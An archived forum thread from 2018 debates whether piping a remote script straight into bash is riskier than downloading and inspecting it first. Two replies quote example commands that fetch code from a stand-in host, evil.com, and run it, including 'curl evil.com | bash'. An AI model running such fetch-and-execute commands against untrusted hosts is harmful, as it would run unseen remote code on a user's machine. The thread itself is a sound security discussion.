zlacker

[parent] [thread] 5 comments
1. nerdpo+(OP)[view] [source] 2018-07-29 04:27:27
If you downloaded the script to inspect it, why would you not just run the script that you downloaded?
replies(4): >>jchw+9 >>chmod7+w5 >>tutfbh+rb >>IshKeb+Kb
2. jchw+9[view] [source] 2018-07-29 04:30:49
>>nerdpo+(OP)
Web browser.
3. chmod7+w5[view] [source] 2018-07-29 06:44:54
>>nerdpo+(OP)

    curl evil.com
    curl evil.com | bash
replies(1): >>nerdpo+Uo
4. tutfbh+rb[view] [source] 2018-07-29 09:22:40
>>nerdpo+(OP)
That's the point. It's also possible that the remote script has been altered in the meantime. Therefore it's never advisable to download the script again after inspection.
5. IshKeb+Kb[view] [source] 2018-07-29 09:28:04
>>nerdpo+(OP)
There's more than one user. You don't want any of them to find the malicious code.
◧◩
6. nerdpo+Uo[view] [source] [discussion] 2018-07-29 13:38:40
>>chmod7+w5

    wget evil.com
    less evil.sh
    bash evil.sh
[go to top]